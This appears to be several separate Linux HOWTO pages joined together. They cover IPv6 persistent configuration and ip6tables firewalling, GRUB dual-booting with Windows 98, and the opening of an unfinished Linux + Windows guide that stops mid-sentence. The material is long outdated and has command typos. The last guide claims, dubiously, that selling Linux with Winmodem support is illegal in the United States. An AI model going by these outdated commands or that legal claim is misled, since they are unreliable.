Since starting writing the IPv6 & Linux - HowTo it was my intention to enable a persistent IPv6 configuration which catch most of the wished cases like host-only, router-only, dual-homed-host, router with second stub network, normal tunnels, 6to4 tunnels, and so on. Nowadays there exists a set of configuration and script files which do the job very well (never heard about real problems, but I don't know how many use the set. Because this configuration and scrips files are extended from time to time, they got their own HOWTO page: IPv6-HOWTO/scripts/current. Because I began my IPv6 experience using a Red Hat Linux 5.0 clone, my IPv6 development systems are mostly Red Hat Linux based now, it's kind a logic that the scripts are developed for this kind of distribution (so called historic issue). Also it was very easy to extend some configuration files, create new ones and create some simple hook for calling IPv6 setup during IPv4 setup.

Fortunately, in Red Hat Linux since 7.1 a snapshot of my IPv6 scripts is included, this was and is still further on assisted by Pekka Savola.

Mandrake since version 8.0 also includes an IPv6-enabled initscript package, but a minor bug still prevents usage ("ifconfig" misses "inet6" before "add").

12.1.1. Test for IPv6 support of network configuration scripts

You can test, whether your Linux distribution contain support for persistent IPv6 configuration using my set. Following script library should exist:

/etc/sysconfig/network-scripts/network-functions-ipv6

Auto-magically test:

# test -f /etc/sysconfig/network-scripts/network-functions-ipv6 && echo "Main
¬ IPv6 script libary exists"

The version of the library is important if you miss some features. You can get it executing following (or easier look at the top of the file):

# source /etc/sysconfig/network-scripts/network-functions-ipv6 &&
¬ getversion_ipv6_functions
20011124

In shown example, the used version is 20011124. Check this against latest information on IPv6-HOWTO/scripts/current to see what has been changed. There is also a change-log available in the distributed tar-ball.

12.1.2. Short hint for enabling IPv6 on current RHL 7.1, 7.2, ...

  • Check whether running system has already IPv6 module loaded

# modprobe -c | grep net-pf-10
alias net-pf-10 off

  • If result is "off", then enable IPv6 networking by editing /etc/sysconfig/network, add following new line

NETWORKING_IPV6=yes

  • Reboot or restart networking using

# service network restart

  • Now IPv6 module should be loaded

# modprobe -c | grep ipv6
alias net-pf-10 ipv6

If your system is on a link which provides router advertisement, autoconfiguration will be done automatically. For more information which settings are supported see /usr/share/doc/initscripts-$version/sysconfig.txt.

Prev | Home | Next
Support for persistent IPv6 configuration in Linux distributions | Up | SuSE Linux


SuSE Linux

Linux IPv6 HOWTO
Prev Chapter 12. Support for persistent IPv6 configuration in Linux distributions Next

12.2. SuSE Linux

In newer versions there is a really rudimentary support available, see /etc/rc.config for details.

Because of the really different configuration and script file structure it is hard (or impossible) to use the set for Red Hat Linux and clones with this distribution.

12.2.1. Further information

  • How to setup 6to4 IPv6 with SuSE 7.3

Prev | Home | Next
Red Hat Linux and "clones" | Up | Debian Linux


Debian Linux

Linux IPv6 HOWTO
Prev Chapter 12. Support for persistent IPv6 configuration in Linux distributions Next

12.3. Debian Linux

I still don't have any information weather a persistent IPv6 configuration can stored somewhere.

12.3.1. Further information

  • IPv6 on Debian Linux

Prev | Home | Next
SuSE Linux | Up | Auto-configuration and mobility


Stateless auto-configuration

Linux IPv6 HOWTO
Prev Chapter 13. Auto-configuration and mobility Next

13.1. Stateless auto-configuration

Is supported and seen on the assigned link-local address after an IPv6-enabled interface is up.

Prev | Home | Next
Auto-configuration and mobility | Up | Stateful auto-configuration using Router Advertisement Daemon (radvd)


Stateful auto-configuration using Router Advertisement Daemon (radvd)

Linux IPv6 HOWTO
Prev Chapter 13. Auto-configuration and mobility Next

13.2. Stateful auto-configuration using Router Advertisement Daemon (radvd)

to be filled. See radvd daemon autoconfiguration below.

Prev | Home | Next
Stateless auto-configuration | Up | Dynamic Host Configuration Protocol v6 (DHCPv6)


Dynamic Host Configuration Protocol v6 (DHCPv6)

Linux IPv6 HOWTO
Prev Chapter 13. Auto-configuration and mobility Next

13.3. Dynamic Host Configuration Protocol v6 (DHCPv6)

to be filled.

Prev | Home | Next
Stateful auto-configuration using Router Advertisement Daemon (radvd) | Up | Mobility


Mobility

Linux IPv6 HOWTO
Prev Chapter 13. Auto-configuration and mobility Next

13.4. Mobility

to be filled.

For the moment, see Mobile IPv6 for Linux(MIPL) homepage for more details

Prev | Home | Next
Dynamic Host Configuration Protocol v6 (DHCPv6) | Up | Firewalling and security issues


Firewalling

Linux IPv6 HOWTO
Prev Chapter 14. Firewalling and security issues Next

14.1. Firewalling

14.1.1. Firewalling using netfilter6

Native IPv6 firewalling is only supported in kernel versions 2.4+. In older 2.2- you can only filter IPv6-in-IPv4 by protocol 41.

Attention: no warranty that described rules or examples are really protect your system!

14.1.1.1. More information

  • Netfilter project

  • maillist archive of netfilter users

  • maillist archive of netfilter developers

  • Unofficial status informations

14.1.2. Preparation

14.1.2.1. Get sources

Get the latest kernel source: http://www.kernel.org/

Get the latest iptables package:

  • Source tarball (for kernel patches): http://www.netfilter.org/

  • Source RPM for rebuild of binary (for RedHat systems): ftp://ftp.redhat.com/redhat/linux/rawhide/SRPMS/SRPMS/ or perhaps also at http://www.netcore.fi/pekkas/linux/ipv6/

14.1.2.2. Extract sources

Change to source directory:

# cd /path/to/src

Unpack and rename kernel sources

# tar z|jxf kernel-version.tar.gz|bz2
# mv linux linux-version-iptables-version+IPv6

Unpack iptables sources

# tar z|jxf iptables-version.tar.gz|bz2

14.1.2.3. Apply latest iptables/IPv6-related patches to kernel source

Change to iptables directory

# cd iptables-version

Apply pending patches

# make pending-patches KERNEL_DIR=/path/to/src/linux-version-iptables-version/

Apply additional IPv6 related patches (still not in the vanilla kernel included)

# make patch-o-matic KERNEL_DIR=/path/to/src/linux-version-iptables-version/

Say yes at following options (iptables-1.2.2)

  • ah-esp.patch

  • masq-dynaddr.patch (only needed for systems with dynamic IP assigned WAN connections like PPP or PPPoE)

  • ipv6-agr.patch.ipv6

  • ipv6-ports.patch.ipv6

  • LOG.patch.ipv6

  • REJECT.patch.ipv6

Check IPv6 extensions

# make print-extensions
Extensions found: IPv6:owner IPv6:limit IPv6:mac IPv6:multiport

14.1.2.4. Configure, build and install new kernel

Change to kernel sources

# cd /path/to/src/linux-version-iptables-version/

Edit Makefile

- EXTRAVERSION =
+ EXTRAVERSION = -iptables-version+IPv6-try

Run configure, enable IPv6 related

            Code maturity level options
                  Prompt for development and/or incomplete code/drivers : yes
            Networking options
                  Network packet filtering: yes
                  The IPv6 protocol: module
                       IPv6: Netfilter Configuration
                             IP6 tables support: module
                             All new options like following:
                                   limit match support: module
                                   MAC address match support: module
                                   Multiple port match support: module
                                   Owner match support: module
                                   netfilter MARK match support: module
                                   Aggregated address check: module
                                   Packet filtering: module
                                        REJECT target support: module
                                        LOG target support: module
                                   Packet mangling: module
                                   MARK target support: module

Configure other related to your system, too

Compilation and installing: see the kernel section here and other HOWTOs

14.1.2.5. Rebuild and install binaries of iptables

Make sure, that upper kernel source tree is also available at /usr/src/linux/

Rename older directory

# mv /usr/src/linux /usr/src/linux.old

Create a new softlink

# ln /path/to/src/linux-version-iptables-version /usr/src/linux

Rebuild SRPMS

# rpm --rebuild /path/to/SRPMS/iptables-version-release.src.rpm

Install new iptables packages (iptables + iptables-ipv6)

  • On RH 7.1 systems, normally, already an older version is installed, therefore use "freshen"

# rpm -Fhv /path/to/RPMS/cpu/iptables*-version-release.cpu.rpm

  • If not already installed, use "install"

# rpm -ihv /path/to/RPMS/cpu/iptables*-version-release.cpu.rpm

  • On RH 6.2 systems, normally, no kernel 2.4.x is installed, therefore the requirements don't fit. Use "--nodeps" to install it

# rpm -ihv --nodep /path/to/RPMS/cpu/iptables*-version-release.cpu.rpm

Perhaps it's necessary to create a softlink for iptables libraries where iptables looks for them

# ln -s /lib/iptables/ /usr/lib/iptables

14.1.3. Usage

14.1.3.1. Check for support

Load module, if so compiled

# modprobe ip6_tables

Check for capability

# [ ! -f /proc/net/ip6_tables_names ] && echo "Current kernel doesn't support
¬ 'ip6tables' firewalling (IPv6)!"

14.1.3.2. Learn how to use ip6tables

List all IPv6 netfilter entries

  • Short

# ip6tables -L

  • Extended

# ip6tables -n -v --line-numbers -L

List specified filter

# ip6tables -n -v --line-numbers -L INPUT

Insert a log rule at the input filter with options

# ip6tables --table filter --append INPUT  -j LOG --log-prefix "INPUT:"
¬ --log-level 7

Insert a drop rule at the input filter

# ip6tables --table filter --append INPUT  -j DROP

Delete a rule by number

# ip6tables --table filter --delete INPUT 1

Allow ICMPv6, at the moment, with unpatched kernel 2.4.5 and iptables-1.2.2 no type can be specified

  • Accept incoming ICMPv6 through tunnels

# ip6tables -A INPUT -i sit+ -p icmpv6 -j ACCEPT

  • Allow outgoing ICMPv6 through tunnels

# ip6tables -A OUTPUT -o sit+ -p icmpv6 -j ACCEPT

Allow incoming SSH, here an example is shown for a ruleset which allows incoming SSH connection from a specified IPv6 address

  • Allow incoming SSH from 3ffe:400:100::1/128

# ip6tables -A INPUT -i sit+ -p tcp -s 3ffe:400:100::1/128 --sport 512:65535
¬ --dport 22 -j ACCEPT

  • Allow response packets (at the moment IPv6 connection tracking isn't in mainstream netfilter6 implemented)

# ip6tables -A OUTPUT -o sit+ -p tcp -d 3ffe:400:100::1/128 --dport 512:65535
¬ --sport 22 ! --syn j ACCEPT

Enable tunneled IPv6-in-IPv4, to accept tunneled IPv6-in-IPv4 packets, you have to insert rules in your IPv4 firewall setup relating to such packets, for example

  • Accept incoming IPv6-in-IPv4 on interface ppp0

# iptables -A INPUT -i ppp0 -p ipv6 -j ACCEPT

  • Allow outgoing IPv6-in-IPv4 to interface ppp0

# iptables -A OUTPUT -o ppp0 -p ipv6 -j ACCEPT

If you have only a static tunnel, you can specify the IPv4 addresses, too, like

  • Accept incoming IPv6-in-IPv4 on interface ppp0 from tunnel endpoint 1.2.3.4

# iptables -A INPUT -i ppp0 -p ipv6 -s 1.2.3.4 -j ACCEPT

  • Allow outgoing IPv6-in-IPv4 to interface ppp0 to tunnel endpoint 1.2.3.4

# iptables -A OUTPUT -o ppp0 -p ipv6 -d 1.2.3.4 -j ACCEPT

Protect against incoming TCP connection requests (VERY RECOMMENDED!), for security issues you should really insert a rule which blocks incoming TCP connection requests. Adapt "-i" option, if other interface names are in use!

  • Block incoming TCP connection requests to this host

# ip6tables -I INPUT -i sit+ -p tcp --syn -j DROP

  • Block incoming TCP connection requests to hosts behind this router

# ip6tables -I FORWARD -i sit+ -p tcp --syn -j DROP

Perhaps the rules have to be placed below others, but that is work you have to think about it. Best way is to create a script and execute rules in a specified way.

Protect against incoming UDP connection requests (ALSO RECOMMENDED!), like mentioned on my firewall information it's possible to control the ports on outgoing UDP/TCP sessions. So if all of your local IPv6 systems are use local ports e.g. from 32768 to 60999 you are able to filter UDP connections also (until connection tracking works) like:

  • Block incoming UDP packets which cannot be responses of outgoing requests of this host

# ip6tables -I INPUT -i sit+ -p udp ! --dport 32768:60999 -j DROP

  • Block incoming UDP packets which cannot be responses of forwarded requests of hosts behind this router

ip6tables -I FORWARD -i sit+ -p udp ! --dport 32768:60999 -j DROP

14.1.3.3. Demonstration example

Following lines show a more sophisticated setup as an example. Happy netfilter6 ruleset creation....

# ip6tables -n -v -L
Chain INPUT (policy DROP 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination
    0     0 extIN      all      sit+   *       ::/0                 ::/0
    4   384 intIN      all      eth0   *       ::/0                 ::/0
    0     0 ACCEPT     all      *      *       ::1/128              ::1/128
    0     0 ACCEPT     all      lo     *       ::/0                 ::/0
    0     0 LOG        all      *      *       ::/0                 ::/0
¬        LOG flags 0 level 7 prefix `INPUT-default:'
    0     0 DROP       all      *      *       ::/0                 ::/0

Chain FORWARD (policy DROP 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination
¬
    0     0 int2ext    all      eth0   sit+    ::/0                 ::/0
    0     0 ext2int    all      sit+   eth0    ::/0                 ::/0
    0     0 LOG        all      *      *       ::/0                 ::/0
¬        LOG flags 0 level 7 prefix `FORWARD-default:'
    0     0 DROP       all      *      *       ::/0                 ::/0

Chain OUTPUT (policy DROP 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination
¬
    0     0 extOUT     all      *      sit+    ::/0                 ::/0
    4   384 intOUT     all      *      eth0    ::/0                 ::/0
    0     0 ACCEPT     all      *      *       ::1/128              ::1/128
    0     0 ACCEPT     all      *      lo      ::/0                 ::/0
    0     0 LOG        all      *      *       ::/0                 ::/0
¬        LOG flags 0 level 7 prefix `OUTPUT-default:'
    0     0 DROP       all      *      *       ::/0                 ::/0

Chain ext2int (1 references)
 pkts bytes target     prot opt in     out     source               destination
¬
    0     0 ACCEPT     icmpv6    *      *       ::/0                 ::/0
    0     0 ACCEPT     tcp      *      *       ::/0                 ::/0
¬        tcp spts:1:65535 dpts:1024:65535 flags:!0x16/0x02
    0     0 LOG        all      *      *       ::/0                 ::/0
¬        LOG flags 0 level 7 prefix `ext2int-default:'
    0     0 DROP       tcp      *      *       ::/0                 ::/0
    0     0 DROP       udp      *      *       ::/0                 ::/0
    0     0 DROP       all      *      *       ::/0                 ::/0

Chain extIN (1 references)
 pkts bytes target     prot opt in     out     source               destination
¬
    0     0 ACCEPT     tcp      *      *       3ffe:400:100::1/128  ::/0
¬        tcp spts:512:65535 dpt:22
    0     0 ACCEPT     tcp      *      *       3ffe:400:100::2/128  ::/0
¬        tcp spts:512:65535 dpt:22
    0     0 ACCEPT     icmpv6    *      *       ::/0                 ::/0
    0     0 ACCEPT     tcp      *      *       ::/0                 ::/0
¬        tcp spts:1:65535 dpts:1024:65535 flags:!0x16/0x02
    0     0 ACCEPT     udp      *      *       ::/0                 ::/0
¬        udp spts:1:65535 dpts:1024:65535
    0     0 LOG        all      *      *       ::/0                 ::/0
¬        limit: avg 5/min burst 5 LOG flags 0 level 7 prefix `extIN-default:'
    0     0 DROP       all      *      *       ::/0                 ::/0

Chain extOUT (1 references)
 pkts bytes target     prot opt in     out     source               destination
¬
    0     0 ACCEPT     tcp      *      *       ::/0
¬ 3ffe:400:100::1/128tcp spt:22 dpts:512:65535 flags:!0x16/0x02
    0     0 ACCEPT     tcp      *      *       ::/0
¬ 3ffe:400:100::2/128tcp spt:22 dpts:512:65535 flags:!0x16/0x02
    0     0 ACCEPT     icmpv6    *      *       ::/0                 ::/0
    0     0 ACCEPT     tcp      *      *       ::/0                 ::/0
¬        tcp spts:1024:65535 dpts:1:65535
    0     0 ACCEPT     udp      *      *       ::/0                 ::/0
¬        udp spts:1024:65535 dpts:1:65535
    0     0 LOG        all      *      *       ::/0                 ::/0
¬        LOG flags 0 level 7 prefix `extOUT-default:'
    0     0 DROP       all      *      *       ::/0                 ::/0

Chain int2ext (1 references)
 pkts bytes target     prot opt in     out     source               destination
¬
    0     0 ACCEPT     icmpv6    *      *       ::/0                 ::/0
    0     0 ACCEPT     tcp      *      *       ::/0                 ::/0
¬        tcp spts:1024:65535 dpts:1:65535
    0     0 LOG        all      *      *       ::/0                 ::/0
¬        LOG flags 0 level 7 prefix `int2ext:'
    0     0 DROP       all      *      *       ::/0                 ::/0
    0     0 LOG        all      *      *       ::/0                 ::/0
¬        LOG flags 0 level 7 prefix `int2ext-default:'
    0     0 DROP       tcp      *      *       ::/0                 ::/0
    0     0 DROP       udp      *      *       ::/0                 ::/0
    0     0 DROP       all      *      *       ::/0                 ::/0

Chain intIN (1 references)
 pkts bytes target     prot opt in     out     source               destination
¬
    0     0 ACCEPT     all      *      *       ::/0
¬ fe80::/ffc0::
    4   384 ACCEPT     all      *      *       ::/0                 ff02::/16

Chain intOUT (1 references)
 pkts bytes target     prot opt in     out     source               destination
¬
    0     0 ACCEPT     all      *      *       ::/0
¬ fe80::/ffc0::
    4   384 ACCEPT     all      *      *       ::/0                 ff02::/16
    0     0 LOG        all      *      *       ::/0                 ::/0
¬        LOG flags 0 level 7 prefix `intOUT-default:'
    0     0 DROP       all      *      *       ::/0                 ::/0

Prev | Home | Next
Firewalling and security issues | Up | Security


Security

Linux IPv6 HOWTO
Prev Chapter 14. Firewalling and security issues Next

14.2. Security

14.2.1. Node security

It's very recommend to apply all available patches and disable all not necessary services.

More to be filled...

14.2.2. Access limitations

Many services uses the tcp_wrapper library for access control. Below is described the use of tcp_wrapper.

More to be filled...

Prev | Home | Next
Firewalling | Up | Encryption and Authentication


Support in kernel

Linux IPv6 HOWTO
Prev Chapter 15. Encryption and Authentication Next

15.1. Support in kernel

15.1.1. Support in vanilla Linux kernel

Currently missing in 2.4, perhaps in 2.5 (see below). There is an issue about keeping the Linux kernel source free of export/import-control-laws regarding encryption code. This is also one case why FreeS/WAN project (IPv4 only IPsec) isn't still contained in vanilla source.

15.1.2. Support in USAGI kernel

The USAGI project has taken over in July 2001 the IPv6 enabled FreeS/WAN code from the IABG / IPv6 Project and included in their kernel extensions, but still work in progress, means that not all IABG features are already working in USAGI extension.

Prev | Home | Next
Encryption and Authentication | Up | Usage


Usage

Linux IPv6 HOWTO
Prev Chapter 15. Encryption and Authentication Next

15.2. Usage

to be filled, mostly like FreeS/WAN for IPv4. For the meantime look for documentation at FreeS/WAN / Online documentation.

Prev | Home | Next
Support in kernel | Up | Quality of Service (QoS)


The End

Linux IPv6 HOWTO
Prev Chapter 21. Revision history / Credits / The End

21.3. The End

Thanks for reading. Hope it helps!

If you have any questions, subscribe to proper maillist and describe your problem.

Prev | Home
Credits | Up


Linux+Win9x+Grub HOWTO

Joel Rosen

Revision History
Revision v1.0 2002-01-10 Revised by: jr
Initial release.

This HOWTO will tell you how to use the GRUB bootloader to turn your computer into a Windows + Linux dual boot machine, without affecting your current Linux installation.

Table of Contents
1. Introduction
1.1. Why use this method?
1.2. Copyright and License
2. Requirements
2.1. What are the requirements?
3. Procedure
3.1. Creating the Windows partition
3.2. Installing GRUB
3.3. Installing Windows
Next
Introduction


Introduction

Linux+Win9x+Grub HOWTO
Prev Next

1. Introduction

1.1. Why use this method?

I'm a big fan of things that aren't Microsoft, so when I got my new computer I had it come with Linux preinstalled. It's a great desktop machine, but I've been sorely missing my Windows games, and the GIMP just isn't cutting it. So I finally gave in and decided to make the machine dual boot. When I looked for instructions on how to accomplish this, all I found was directions on how to install Linux if you already have Windows installed and how to boot with Loadlin. Unfortunately, because Loadlin runs from under DOS, the Loadlin method of making your system dual boot requires that you have Windows installed on the first partition of your first hard drive, due to the fact that Windows believes it is the center of the universe and all your other operating systems should revolve around it. This is a problem if you already have Linux on that partition and you don't want to wipe out your system to install Windows.

This is where GNU GRUB, the GRand Unified Bootloader comes in. It differs from bootloaders such as LILO in that it can lie to Windows and make Windows believe that it's installed on the first partition even if it's not. So you can keep your current Linux system where it is and install Windows on the side.

1.2. Copyright and License

Copyright (c) 2002 Joel Rosen. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections, with the no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license may be found here.

Prev | Home | Next
Linux+Win9x+Grub HOWTO |  | Requirements


Procedure

Linux+Win9x+Grub HOWTO
Prev

3. Procedure

3.1. Creating the Windows partition

If you already have a clear partition or disk for your Windows installation, you can skip this section. Otherwise, you'll need to run a partition editor to defragment your disk and create a new partition for Windows. I used GNU Parted for my installation; sfdisk should work as well. DO NOT use fdisk, it won't preserve your data. And note, this process is not guaranteed, make sure to backup any important files before you begin.

Here is how my partition table looked pre-install:

Device	    Start	 End	      System

/dev/hda1   1		 3	      Linux
/dev/hda2   4		 1222	      Extended
/dev/hda5   4		 36	      Linux swap
/dev/hda6   37		 1222	      Linux

/dev/hda1 is my /boot partition (you may or may not have a separate boot partition for Linux), /dev/hda2 is an extended partition which contains two logical drives, /dev/hda5 and /dev/hda6, which contain my Linux swap partition and Linux installation partition.

As root, run your partition editor. Resize your Linux partition to however small you decide to make it. (Make sure this size isn't smaller than the amount of data on your disk.) The program will defragment for a good while and then change the partition table. Resize the extended partition which contains your Linux partition accordingly. You should now have enough unused space on your disk in which to create a new primary Windows partition. Go ahead and create the partition with a Win95 FAT32 (LBA) filesystem on it. Now your partition table should look something like this:

Device	     Start	    End	     System

/dev/hda1    1		    3	     Linux
/dev/hda2    4		    905	     Extended
/dev/hda3    906	    1222     Win95 FAT32 (LBA)
/dev/hda5    4		    36	     Linux swap
/dev/hda6    37		    905	     Linux

I strongly recommend that you run fdisk at this point and write down all of your partition information on a piece of paper. If you make a mistake in your installation, Windows will be all too happy to rewrite your partition table to its liking, and you'll need to know what your partitions look like in case of emergency.

3.2. Installing GRUB

3.2.1. Installation

You should have either an RPM or source package of GRUB somewhere on your disk. Go through the appropriate installation procedure for your system. GRUB should now be installed but not loaded. As root run:

# /sbin/grub-install /dev/hda

This will load GRUB into the master boot record of your disk. Now you need to edit /boot/grub/grub.conf to configure the GRUB boot menu:

3.2.2. Editing grub.conf

default=0
timeout=10
splashimage=(hd0,0)/grub/splash.xpm.gz
title Red Hat Linux (2.4.7-10)
    root (hd0,0)
    kernel /vmlinuz-2.4.7-10 ro root=/dev/hda6
    initrd /initrd-2.4.7-10.img

title Windows 98
    map (hd0,0) (hd0,2)
    map (hd0,2) (hd0,0)
    rootnoverify (hd0,2)
    chainloader +1

title DOS Boot Disk
    map (hd0,0) (hd0,2)
    map (hd0,2) (hd0,0)
    chainloader (fd0)+1

Let's go through and see what this means.

"default=0" and "timeout=10" will cause Linux to boot in 10 seconds if you don't touch anything. "splashimage" is self-explanatory and not very important.

"title" denotes each boot setting and the text that follows is what will appear in your menu at startup. "root" specifies which partition contains your Linux kernel image (this may or may not be your actual root (/) partition). So, "root (hd0,0)" tells GRUB that the kernel is on the first partition of /dev/hda. You can see that GRUB has a funny numbering system, 0-3 for primary partitions and 4+ for logical partitions. The next line tells GRUB just where to find your kernel and where your actual root partition with your Linux system is. "initrd" tells where your init ramdisk image is located. Note that these few lines will probably be somewhat different if you don't have a separate /boot partition. Look at the GRUB info page if you need more help.

The "map" lines under the Windows 98 section are essential for getting your installation to work. These are the magical lines that trick Windows into believing that it's installed on the first partition of the first disk. If you don't map the Windows partition to (hd0,0), Windows will destroy your partition table and you won't be able to boot anything.

"rootnoverify" tells GRUB to boot from the Windows partition, but not to attempt to mount it, and "chainloader +1" tells GRUB to chain to Windows' bootloader which will start Windows.

The "DOS boot disk" section is needed if you are going to boot from floppy to begin the Windows install, but it will also come in handy after your install if you ever want to use a DOS boot disk for whatever reason. If your Windows install CD is bootable, you'll need to have a "Windows boot disk" section which chainloads to whatever your CDROM device is called.

Now save grub.conf and exit your text editor. Unlike LILO, GRUB does not require you to run any executable after you've modified the boot configuration. Now, with your emergency Linux boot disk handy, try rebooting your computer. When the system comes up you should see the GRUB menu with your three boot options. Select Linux. Hopefully, Linux will boot as usual and you'll have installed GRUB properly. If it doesn't, you thankfully have a Linux boot disk so that you can boot into Linux and fix your grub.conf. Once you've got GRUB successfully booting Linux, it's time to install Windows.

3.3. Installing Windows

Remove all diskettes and CDs from your computer and reboot. DO NOT boot your computer with the installation media already in the drive. If you do that, your BIOS will just boot the Windows install directly and GRUB won't get a chance to work its magic. When the GRUB menu comes up, insert your floppy or CD and select the DOS boot disk or Windows install CD boot, depending on your installation method. Windows install should see the partition you've made for it on the C: drive. Go ahead and install Windows.

That's it. Your computer is now all set as a dual boot machine.

Prev | Home
Requirements |


Requirements

Linux+Win9x+Grub HOWTO
Prev Next

2. Requirements

2.1. What are the requirements?

You will need:

  • A computer with a working installation of Linux.
  • Enough free disk space for your new Windows partition.
  • A partition editor such as GNU Parted.
  • GRUBrpm or source.
  • A Windows/DOS boot disk with CDROM support and a CD with the Windows 9x install on it, or a bootable Windows 9x install CD.
  • (Recommended)A Linux boot disk.

Prev | Home | Next
Introduction |  | Procedure


Linux + Windows HOWTO

Linux + Windows HOWTO v0.1.0 1999-11-04

  • Overview
  • Intended Audience
  • How to Use This HOWTO
  • Concepts
    •
  • Procedure (uc)
  • Reference
  • Backup
  • Catalog
  • Attach
  • Compact
  • Repartition
  • Format
  • Initial Program Load
  • Boot Manager
  • Mounting (uc)
  • Windows partition visible from Linux (uc)
  • Linux partition visible from Windows (uc)
  • Permissions (uc)
    •
  • Choices (uc)
  • Architecture
  • Filesystem
  • Linux
  • Windows (uc)
  • Windows 3.1 (uc)
  • Windows 95 (uc)
  • Windows 98 (uc)
  • Windows 2000 (uc)
  • Windows NT (uc)
    •
  • Backup Tools
  • Compaction Tools
  • Repartitioning Tools
  • Boot Manager
    •
  • Actual Experience (uc)
  • Adding linux to new computer preloaded with Windows 98 (uc)
    •
  • Appendices (uc)
  • Frequently Asked Questions
  • Caveats (uc)
  • Tips and Tricks (uc)
    •
  • Reference (uc)
  • Legend
  • Glossary
  • Bibliography
  • Index (uc)
    •
  • This HOWTO
  • Copyright and Licensing
  • How to Report Errors or Omissions in This HOWTO
  • Future Work
  • Revision History
    •

    Overview

    Intended Audience

    This HOWTO is aimed at assisting those who wish to use the features of both Windows and Linux on the same host.

    Nancy Nancy just bought a new computer. It came preloaded with Windows 98. Nancy wants to run accounting software supported by Windows 98 and mathematical research software. Nancy is an accountant and donates her time as the accountant for the local chapter of a charitable organization. The charitable organization requires the chapters to use standard software that they have chosen. This software is only supported on Windows 98, so Nancy must have Windows 98 to donate her accounting services. Nancy also teaches mathematics and personally pursues research mathematics. She is not a programmer amd doesn't want to waste unnecessary time doing system administration nor working with inflexible software. She believes that octave, c++ and the best research software is supported by unix. As a unix dialect she wants linux.

    Lisa Lisa is shopping for a new computer to replace her aging host. Her computer will be preloaded with RedHat 6.2 linux. Lisa is a professional programmer, who plans to run a server and firewall on her old computer. Lisa wants a low maintenance machine that reliability does her bidding. Occasionally she needs to read and write files for Macintosh and/or Windows users. She plans to remove Windows 95 from her old computer and run a dedicated server and firewall under linux. In accordance with her Microsoft End User License Agreement she will transfer Windows 95 to her new computer. Since she plans to spend most of her time in linux, it isn't worth buying a second Windows license to run Windows on both hosts.

    Oscar Oscar is a system administrator for a large corporation that uses Windows NT and Irix workstations. One of the Windows NT workstations has just crashed and won't boot. Oscar has to recover critical data from the host which was not backed up. He needs tools to script searches and filter files. Oscar wants to use the panolpy of unix commands to low-level examine the hard disk in his search for the lost corporate assets. Last year Oscar configured a "dual booter" but he no longer remembers the details.

    Tom Tom is a graduate school teacher. Tom also teaches continuing education at the local community house. Nancy is a friend of Tom and asked for his help with her new computer. Tom is happy to oblige and this HOWTO is one of the consequences.

    Table of Contents

    How to Use This HOWTO

    This HOWTO is focused on a general step-by-step procedure. You should first read which character among the intended audience that you most nearly match. Follow along as Tom helps each characters configure their systems. Before doing more than skimming, you should at least skim the critical concepts. Some of the words used may be unfamiliar, obsolete, or applied differently, so it is important to understand their usage in this HOWTO. Please write the maintainer with your experience good or bad.

    Table of Contents

    Concepts

    Understanding this HOWTO depends on understanding its use of the following concepts.
    • Disk and Format
    • Partition and Filesystem
    • Operating System
    Table of Contents

    Procedure

    Reference

    1. Nancy Tom Backup your software and data
    2. Tom Lisa Oscar Compile a catalog of hardware component models and software versions.
    3. Oscar Attach new disks.
    4. Nancy Tom Compact the existing software and data.
    5. Tom Lisa Nancy Repartition the disk..
    6. Nancy Lisa Tom Format the new partitions.
    7. Lisa Tom Nancy Load the new operating systems.
    8. Tom Lisa Nancy Install the boot manager (uc).
    9. Tom Nancy Lisa Oscar Cross mount the devices.
    Table of Contents

    Backup

    Nancy Installing linux on Nancy system will involve repartitioning. Any time you repartition a hard disk you run a significant risk of losing data on the disk. More precisely repartitioning does not actually cause data loss, but does tend to discover data that was lost piror.

    Tom Tom warned Nancy that she should backup everything before starting. Familiar with pluming repair, Tom knew that whey you shut off the water for 10min to replace a dripping faucet, you often find that the pipes in the floor were rusted and leaking. Nancy knew nothiing of plumbing, but she had a good book collection and had moved several times. She knew that bookshelves often break when you move them.

    Since Lisa is buying a new computer, she has nothing yet to backup. When Oscar asked for the backups of the crashed computer he was met with the usual blank expressions. His job is essentially ot make a backup of the otherwise lost data.

    This version of this HOWTO does not detail how to backup. If you wish to see more information on backing up or if you wish to provide information please contact the maintainer.

    Table of Contents

    Catalog

    During installation, the size of disks, and other accurate specifications will be necessary. Entry of slightly wrong values will result in subtle problems that may not show up immediately but will often be chronic, frustratingly difficult to diagnose, and maybe impossible to fix.

    Windows and your linux distribution may not support the same hardware. You should see the Hardware Compatibility HOWTO for a list of what is known to be compatible or incompatible.

    In general Windows is the more restrictive with exception of WinModems/WinPrinters/.... Any hardware supported by Windows will usually be supported by linux, though not necessarily included in your distribution. Much hardware, especially the old and the cutting edge, may be supported by linux but not by Windows. If not included in your distribution, you can usually download linux drivers and or modules from the Internet.

    Winmodems, Winprinters, Winscanners, etc. are not supportable under linux. These devices are actually firmware that depend on proprietary Windows software. In the United States it is illegal to sell a linux distribution that supports these devices.

    Lisa Lisa has dealt with software long enough to know the value of specifications. Even before purchasing a computer, Lisa has already created a log. For each computer being considered from each prospective vendor, Lisa has a list of each component, its model and capabilities.

    Tom Tom knows that one of the least expensive means to support reliability in any complex system (computer, airplane, car, etc.) is by keeping accurate maintenance records. Many (if not most) of the compatiblity problems reported by Tom's students would be prevented if accurate records were kept and consulted.

    Tom usually recommends avoiding WinModems, etc. because their performance limitations are too severe for most people..

    Oscar Oscar's company keeps records on the hardware components of each computer. Before trying to fix any problem, Oscar examines the log and often finds that intractible problems becomre easily solved when you know the model details.

    Table of Contents

    Attach

    One of the useful features of linux is the wide range of diagnostic and repair tools that it supports. The easy ability to write scripts also makes it easy to write worms and do other recovery operations.

    Oscar Oscar has easy access to a spare hard drive. He checked the Hardware Compatibility HOWTO to select a hard drive model.

    • Oscar grounds himself with a wrist strap to avoid accidental electrostatic damage.
    • He opens the case according to the service manual.
    • He slides the disk into the secondary drive slot and attaches an IDE cable.
    • Oscar closes the case and ungrounds himself.
    This version of this HOWTO does not detail how to attach new drives. If you wish to see more information on attaching or if you wish to provide information please contact the maintainer.

    Table of Contents

    Compact

    Most new computers preloaded with Windows are delivered with a single FAT32 partition that occupies the entire disk. Before loading
